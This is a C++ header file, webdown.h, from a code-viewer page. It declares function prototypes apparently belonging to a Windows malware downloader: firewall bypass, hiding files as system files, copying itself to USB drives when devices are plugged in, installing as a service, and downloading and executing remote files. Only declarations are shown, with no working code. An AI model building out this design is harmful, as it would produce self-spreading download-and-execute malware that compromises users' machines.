📄 webdown.h
字号:
#if !defined(AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_)
#define AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
/*
typedef struct _INTERNET_CACHE_ENTRY_INFOA {
DWORD dwStructSize; // version of cache system.
LPSTR lpszSourceUrlName; // embedded pointer to the URL name string.
LPSTR lpszLocalFileName; // embedded pointer to the local file name.
DWORD CacheEntryType; // cache type bit mask.
DWORD dwUseCount; // current users count of the cache entry.
DWORD dwHitRate; // num of times the cache entry was retrieved.
DWORD dwSizeLow; // low DWORD of the file size.
DWORD dwSizeHigh; // high DWORD of the file size.
FILETIME LastModifiedTime; // last modified time of the file in GMT format.
FILETIME ExpireTime; // expire time of the file in GMT format
FILETIME LastAccessTime; // last accessed time in GMT format
FILETIME LastSyncTime; // last time the URL was synchronized
// with the source
LPBYTE lpHeaderInfo; // embedded pointer to the header info.
DWORD dwHeaderInfoSize; // size of the above header.
LPSTR lpszFileExtension; // File extension used to retrive the urldata as a file.
union { // Exemption delta from last access time.
DWORD dwReserved;
DWORD dwExemptDelta;
}; // Exemption delta from last access
} INTERNET_CACHE_ENTRY_INFO, * LPINTERNET_CACHE_ENTRY_INFO;
*/
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam);
int CreateMyWindow();
BOOL Register();
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
bool InstallService();
unsigned long CALLBACK MainProc(LPVOID pParam);
void ByPassFireWall();
BOOL SetFileAttrib(char *path);//设置文件为系统隐藏属性
BOOL CopyToUAndSet(char *U);
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam);
bool GetDownFileDate(char url[],char Date[]);
void DownExec(char url[]);
void DownFiles(char Url[]);
#endif // !defined(AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -